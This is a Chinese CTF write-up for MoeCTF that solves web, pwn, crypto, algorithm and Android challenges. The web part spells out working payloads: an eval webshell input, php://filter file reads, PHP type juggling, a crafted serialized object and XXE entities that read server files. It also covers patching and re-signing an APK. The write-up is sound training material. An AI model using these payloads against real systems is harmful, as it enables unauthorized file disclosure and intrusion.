<p>MoeCTF除了设有常规CTF比赛相关的分类之外也开设或有计划开设了算法编程类, 运维类, 旨在提供一个知识覆盖全面的做题环境, 同时帮助有过信息学竞赛经历的新生们更快转型.</p>
<p>MoeCTF的积分方式为最简单的静态积分方式, 选手解题并获取固定的分数, 不设动态积分, 不设一血加成, 选手即使在比赛进行时参赛也不必担心分数差距. 部分题目出题人可能提供题目奖励, 比赛本身无奖项. 比赛结束后平台会继续维护一周供各位选手复盘, 写题解. 西电新生们比赛结束后可能会要求提交题解, 作为西电信息安全协会(XDSEC)2020秋季招新的一个重要砝码. 欢迎大家前来参加比赛, 与各路极客同台竞技, 也欢迎新生们在比赛结束后加入XDSEC, 分享技术, 共同进步!</p>
<p>西电信息安全协会(XDSEC)是由08, 09级学长自发组建的学生组织, 面向全校各年级同学 ,期间多次与学校合作, 自行管理和发展至今. 协会资源丰富, 在信息安全领域口碑十分优秀. 协会以致力于技术分享与进步为宗旨, 秉承低调, 分享, 专注, 精进, 自由的精神, 旨在为我校热爱信息安全技术的同学建立一个氛围良好的交流平台, 扩大信息安全在我校的影响力.</p>
<!--moectf{i_wAnt_2_jo1n_XDSEC!}-->
</div>

因此flag为 moectf{i_wAnt_2_jo1n_XDSEC!}

一句话

1
2
3
4
5
<?php 
error_reporting(0);
highlight_file("index.php");
eval($_POST['a']);
?>

发现一句话木马,测试可得到phpinfo a=phpinfo(); (POST)
获取flag的payload为 a=require('../../../flag'); (POST)

因此flag为 moectf{0hhhh!!!y0u_know_h0w_to_u3e_eva1}

EzMath

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<p>不会吧不会吧,不会有人连加法都不会吧</p><br>
712+884=<form action="index.php" method="post"><input type="text" name="a"><input type="submit" value="提交"></form>
<script language="JavaScript">
function myrefresh()
{
window.location.reload();
}
setTimeout('myrefresh()',1000); //指定1秒刷新一次
</script>

</body>
</html>

听说你算数挺快??

这道题就算是把js屏蔽,也必须在1秒以内提交,所以干脆直接写个自动获取flag的js好了

1
2
3
4
let arr = document.body.innerText.match(/\d+/g);
let input = document.querySelectorAll('input');
input[0].value = ~~arr[0] + ~~arr[1];
input[1].click();

因此flag为 moectf{MA7H_1s_s0_ea5y!!r1ght?}

三心二意

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php 
$a = $_GET['a'];
$b = $_POST['b'];
$c = $_REQUEST['c'];
$d = $_COOKIE['d'];

if (!isset($a, $b, $c, $d)) {
highlight_file(__FILE__);
} else {
if (is_numeric($a) and $a == false) {
echo 'A is OK!';
echo '<br/>';
if (!is_numeric($b) and $b == 0x125e591) {
echo 'B is OK!';
echo '<br/>';
if ($c != 240610708 and md5($c) == md5(240610708)) {
echo 'C is OK!';
echo '<br/>';
if (strlen($d) < 7 and $d != 0 and $d ** 2 == 0) {
include('/flag');
} else {
echo "D is not wanted.<br/>";
highlight_file(__FILE__);
}
} else {
echo "C is not wanted.<br/>";
highlight_file(__FILE__);
}
} else {
echo "Too young too simple.<br/>";
highlight_file(__FILE__);
}
} else {
echo "A is not wanted.<br/>";
highlight_file(__FILE__);
}
}

这题只需要使 a,b,c,d 分别满足条件即可

1
2
3
4
a=0
b=19260817a
c=QNKCDZO
d[]=0

再分别使用各自的方法提交即可

因此flag为 moectf{PHP_1s_the_besT_lAngu@ge}

俄罗斯头套

访问后首先提示如下

1
2
你的ip是:xxx.xxx.xxx.xxx
不是127.0.0.1的话我可不会给你flag哦

修改 X-Forwarded-For127.0.0.1 后,提示

1
2
你的ip是:127.0.0.1
什么?你不是从"https://www.baidu.com"来的?那可不行...

修改 Refererhttps://www.baidu.com 后,提示

1
2
你的ip是:127.0.0.1
什么?你用的不是POST请求?那可不行...

换用POST请求后,提示

1
2
你的ip是:127.0.0.1
什么?你用的不是"supreme"浏览器?那可不行...

修改 User-Agentsupreme 后,提示

1
2
你的ip是:127.0.0.1
moectf{r3que5t_he4der_1s_ea5y!!}

因此flag为 moectf{r3que5t_he4der_1s_ea5y!!}

Moe include

1
<a href="?file=hint.php">do not click</a>

在hint.php发现

1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html>
<head>
<title> </title>
</head>
<body>
<!-- 你知道php伪协议吗-->
</body>
</html>

因此使用php伪协议来获取flag,payload为GET file=php://filter/convert.base64-encode/resource=flag.php ,解码后为

1
2
3
<?php
echo "Can you get the flag?";
//moectf{php_is_the_best_language}

因此flag为 moectf{php_is_the_best_language}

Moe unserialize

仅有的提示如下

1
有一天,赤道企鹅在愉快的使用vim给学弟挖坑,突然伴随着身体的一阵抽搐,电脑死机了。企鹅悲痛欲绝,聪明的你能帮助企鹅找到他挖的坑吗?

猜测这题考察vim的.swap文件恢复以及php的反序列化
下载到 ./index.php.swp ,使用vim -r index.php 还原出原php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
class Moe {
public $a;
protected $b;
private $c;

function __destruct() {
if ($this->a === '1' && $this->b === '2' && $this->c === '3') {
include 'flag.php';
die($flag);
}
}
}
$moe = $_GET['flag'];
unserialize($moe);
?>
有一天,赤道企鹅在愉快的使用vim给学弟挖坑,突然伴随着身体的一阵抽搐,电脑死机了>。企鹅悲痛欲绝,聪明的你能帮助企鹅找到他挖的坑吗?

可知这是很简单的php反序列化问题,构造序列为 O:3:"Moe":3:{s:1:"a";s:1:"1";s:4:"%00*%00b";s:1:"2";s:6:"%00Moe%00c";s:1:"3";}

因此flag为 Moectf{Y0u_4re_A_Moe}

EzXXE

根据题目提示是XXE漏洞,而且还能看到网页源代码,发现flag有两端,分别在 /flags/flag1.txt/flags/flag2.php 里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
// flag is in '/flags/flag1.txt' and '/flags/flag2.php'

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');

if (strpos($xmlfile,"flag1.txt") !== FALSE){
if (strpos($xmlfile,'file:/') === FALSE){
die("Please use file protocol.<br/><br/>");
}
}
if (strpos($xmlfile,"flag2.php") !== FALSE){
if (strpos($xmlfile,'file:/') !== FALSE){
echo "Why not try php://filter?";
echo '<br/><br/>';
}
}

$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$test = simplexml_import_dom($dom);
echo $test;
highlight_file(__FILE__);
?>

根据需要使用 file: 文件协议,构造第一段XXE载荷即可获取到flag1

1
2
3
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flags/flag1.txt" >]>
<foo>&xxe;</foo>

采用js提交得到 moectf{XXE_ ,为flag的前半段

1
2
3
4
5
6
7
8
9
10
11
fetch(url, {
method: 'post',
headers: {
'Content-Type': 'application/xml'
},
body: `<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flags/flag1.txt" >]>
<foo>&xxe;</foo>`
}).then(response=>response.text()).then(data => {
document.body.innerHTML = data;
});

根据第二段提示需要使用 php://filter ,于是构造第二段的载荷,同样可使用js提交

1
2
3
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flags/flag2.php" >]>
<foo>&xxe;</foo>

因此得到 PD9waHAgJGZsYWcyID0gJzRuZF9waHBfZjFsdDNyfSc7ID8+ ,解密后为 <?php $flag2 = '4nd_php_f1lt3r}'; ?>

因此flag为 moectf{XXE_4nd_php_f1lt3r}

Pwn

Welcome to pwn

不会做Pwn题,签到题还行,直接栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
nc sec.eqqie.cn 10006
_______ _ _ _ __ _______ ___ _
|__ __| | | | | | / _| | __ \ \ / / \ | |
| | | |__ ___ __ _____ _ __| | __| | ___ | |_ | |__) \ \ /\ / /| \| |
| | | '_ \ / _ \ \ \ /\ / / _ \| '__| |/ _` | / _ \| _| | ___/ \ \/ \/ / | . ` |
| | | | | | __/ \ V V / (_) | | | | (_| | | (_) | | | | \ /\ / | |\ |
|_| |_| |_|\___| \_/\_/ \___/|_| |_|\__,_| \___/|_| |_| \/ \/ |_| \_|


See this to show that the connection is successful!
Continue...

Please fill me up~
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***:
##################################
Great!
Take your flag:
moectf{W3lc0m3_t0_tH3_w0r1d_0f_PWN!}
##################################

因此flag为 moectf{W3lc0m3_t0_tH3_w0r1d_0f_PWN!}

Algorithm

mess

puzzle.txt 有如下内容

1
1091111A01ruVJl99hw11Qv6i102xCYC1c2B31DIsz1tm212l11A1l610448re11BQ09549115951n154V895F115d49109h1m1210810j11w2A5

puzzle.py 有如下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
import random
flag = 'moectf{xxxxxxxxxxx}'
digit = ''
for i in flag:
digit += str(ord(i))
i = 0
while i < len(digit):
n = random.randint(0, 128)
if ord('a') <= n <= ord('z') or ord('A') <= n <= ord('Z'):
digit = digit[0:i] + chr(n) + digit[i:]
i += 1
with open('puzzle.txt', 'w') as out:
out.write(digit)

这个 puzzle.pypuzzle.txt 的生成算法,大意为将flag转化为ascii码的字符串序列,并在中间插入若干无意义大小写字母

因此我们的解码算法为去掉这些无意义字母,再分割出ascii然后转换为原序列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <iostream>
#include <string>
int main(){
std::string raw, tmp, dst;
std::cin>>raw;
for(int i=0; i<raw.length(); i++){
if(isdigit(raw[i]))
tmp.append(1, raw[i]);
}
for(int i=0, len, ascii; i<tmp.length(); i += len){
if(tmp[i] == '1'){
len = 3;
ascii = 100 + (tmp[i+1]-'0')*10 + tmp[i+2] - '0';
}else{
len = 2;
ascii = (tmp[i]-'0')*10 + tmp[i+1] - '0';
}
dst.append(1, ascii);
}
std::cout<<dst;
return 0;
}

运行后就能得到flag

1
2
1091111A01ruVJl99hw11Qv6i102xCYC1c2B31DIsz1tm212l11A1l610448re11BQ09549115951n154V895F115d49109h1m1210810j11w2A5
moectf{pyth0n_1s_s0_s1mple}

因此flag为 moectf{pyth0n_1s_s0_s1mple}

Frank, 永远滴神

数据统计, 在题目的压缩包中有一些文件, 请统计所有文件中 FrankNB! 字符串出现了多少次, 统计得到的数字使用base64编码后包裹上moectf{}提交.
例如: 我统计结果为6324, 那么flag为: moectf{NjMyNA==}

得到 puzzle.tar.gz ,总之就是需要统计 FrankNB! 出现的次数。
使用16进制编辑器打开搜索得到 205232 次,转换为base64为 MjA1MjMy

因此flag为 moectf{MjA1MjMy}

赤道企鹅, 永远滴神

得到 puzzle.tar.gz ,直接写一个python脚本来跑就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import re
from os import path
def check(filepath):
length = 0
todo = open(path.dirname(__file__) + "\\" + filepath, "r")
status = todo.read(8)
if(status[7] == '!'):
value = todo.read()
pattern = re.compile(r'[A-Za-z0-9]+')
result = pattern.findall(value)
length = len(result)
todo.close()
return length
paths = [...] # 路径列表
sum = 0
for i in paths:
sum += check(i)
print(sum)

获取路径列表可使用

1
2
3
4
5
6
7
8
9
import os
def get_file(root_path,all_files=[]):
files = os.listdir(root_path)
for file in files:
if not os.path.isdir(root_path + '\\' + file): # not a dir
all_files.append(root_path + '\\' + file)
else: # is a dir
get_file((root_path+'\\'+file),all_files)
return all_files

运行结果为 182426 ,转换为base64为 MTgyNDI2

因此flag为 moectf{MTgyNDI2}

Classic Crypto

大帝的征程#1

zbrpgs{p0adh3e_gu3_j0eyq}
凯撒加密,偏移量为 13

因此flag为 moectf{c0nqu3r_th3_w0rld}

大帝的征程#2

mpgfxk{j8w05q4_8xk_d7mhqfht} , 且 mpgfxk 正好是 moectf 的增量偏移
根据提示 table = 'abcdefghijklmnopqrstuvwxyz0123456789'
写一个自动解决的脚本即可完成偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <iostream>
#include <string>
int main(){
std::string flag, src = "mpgfxk{j8w05q4_8xk_d7mhqfht}",
table = "abcdefghijklmnopqrstuvwxyz0123456789",
black_list = "_{}";
for(int i=0; i<src.length(); i++){
if(black_list.find(src[i]) == std::string::npos){
for(int j=0; j<table.length(); j++){
if(src[i] == table[j]){
flag.append(1, table[(j-i+table.length())%table.length()]);
break;
}
}
}else{
flag.append(1, src[i]);
}
}
std::cout<<flag;
return 0;
}

因此flag为 moectf{c0nquer_th3_un1v3rs3}

外面的世界

mc{i33ny_-n~otR1n_cp1FN}efaFc32Tsuy
栅栏加密,栏数为 12 ,注意需要使用正向加密算法

因此flag为 moectf{Rai1F3nc3_3nc2ypT_1s-FunNy~}

大帝的征程#3

>@64E7L4_?BF6C0E9b0)s$trN
前6位与 moectf 做比较,发现差为 47 于是编写代码

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <iostream>
#include <string>
int main(){
std::string src = ">@64E7L4_?BF6C0E9b0)s$trN", flag;
for(int i=0; i<src.length(); i++){
if(src[i] + 47 < 126)
flag += src[i]+47;
else
flag += src[i]-47;
}
std::cout<<flag;
return 0;
}

因此flag为 moectf{c0nquer_th3_XDSEC}

大帝的征程#维吉尼亚

根据 A gcjh, A wct, L uspnxwvga. 可能是凯撒大帝的名言 I came, I saw, I conquered.
因此根据密码矩阵对密码,对出来是 secxd ,也用以解密flag得 I came, I saw, I conquered. moectf{s0_whaT_s-N3xt?}

因此flag为 moectf{s0_whaT_s-N3xt?}

大帝的征程#维吉尼亚Ex

使用重合指数法破解维吉尼亚密码,工具地址,解得密钥为 fdecaqivopzxmfdecaqivopzxm

因此flag为 moectf{th3_rea1_Vigenere_MaYb3_n0t_s0_3asY}

Android

Baby Android

发现一个apk文件,反编译后得到关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
String key = "dalaomenbiedale";
byte[] secret = new byte[]{(byte) 9, (byte) 14, (byte) 9, (byte) 2, (byte) 27, (byte) 11, (byte) 30, (byte) 55, (byte) 82, (byte) 28, (byte) 58, (byte) 15, (byte) 15, (byte) 92, (byte) 18, (byte) 59, (byte) 33, (byte) 34, (byte) 5, (byte) 29, (byte) 2, (byte) 84, (byte) 10, (byte) 61, (byte) 11, (byte) 86, (byte) 16, (byte) 21, (byte) 95, (byte) 23, (byte) 59, (byte) 53, (byte) 4, (byte) 82, (byte) 1, (byte) 50, (byte) 40, (byte) 11, (byte) 67, (byte) 20};
public boolean checkFlag(byte[] bArr) {
if (bArr.length != 40) {
return false;
}
for (int i = 0; i < 40; i++) {
if ((bArr[i] ^ this.key.getBytes()[i % this.key.length()]) != this.secret[i]) {
return false;
}
}
return true;
}

根据验证算法,编写解密算法如下

1
2
3
4
5
6
7
8
9
10
#include <iostream>
#include <string>
#include <cstring>
int main(){
std::string key = "dalaomenbiedale";
char secret[] = {9, 14, 9, 2, 27, 11, 30, 55, 82, 28, 58, 15, 15, 92, 18, 59, 33, 34, 5, 29, 2, 84, 10, 61, 11, 86, 16, 21, 95, 23, 59, 53, 4, 82, 1, 50, 40, 11, 67, 20};
for(int i=0; i<40; i++)
std::cout<<(char)(secret[i] ^ key[i%key.length()]);
return 0;
}

因此flag为 moectf{Y0u_kn0w_@Ndro1d_b3tt3r_Th3n_Me!}

Click It!

题目中给出了一个 click.apk ,安装到手机上之后发现需要点击 1919810(0x1d4b42) 次即可获取flag

使用apktool逆向

1
apktool d click.apk
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
this.button.setEventListener(new SparkEventListener() {
public void onEvent(ImageView button, boolean buttonState) {
if (buttonState) {
MainActivity.this.pool.play(MainActivity.this.snare, 1.0f, 1.0f, 99, 0, 1.0f);
} else {
MainActivity.this.pool.play(MainActivity.this.kick, 1.0f, 1.0f, 99, 0, 1.0f);
}
MainActivity.this.count = MainActivity.this.count + 1;
EditText text = (EditText) MainActivity.this.findViewById(R.id.countBox);
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append(String.valueOf(MainActivity.this.count));
stringBuilder.append(" time(s) clicked.");
text.setText(stringBuilder.toString());
if (MainActivity.this.count == 1919810) {
((EditText) MainActivity.this.findViewById(R.id.flagBox)).setText(MainActivity.this.stringFromJNI());
}
}
});

对于其按钮事件,如果计数达到 1919810 次,则显示 MainActivity.this.stringFromJNI() 的文本,但是由于flag在JNI接口,也许不容易直接获取,所以我们考虑修改计数常量

在其伪代码中发现 0x1d4b42 即为需要点击的次数常量,修改其为 0x000002

1
2
3
4
5
move-result v1
const v2, 0x1d4b42
if-ne v1, v2, :cond_1
.line 47
iget-object v1, p0, Lcom/reverier/moectf_clickit/MainActivity$1;->this$0:Lcom/reverier/moectf_clickit/MainActivity;

将修改的文件重新打包

1
apktool b click -o patch.apk

再随便使用一个证书签名,生成apk,安装到手机上,点两下就可以获取flag了

因此flag为 moectf{y0U_w1n!}

作者

吉吉

发布于

2021-02-23

更新于

2022-12-10

许可协议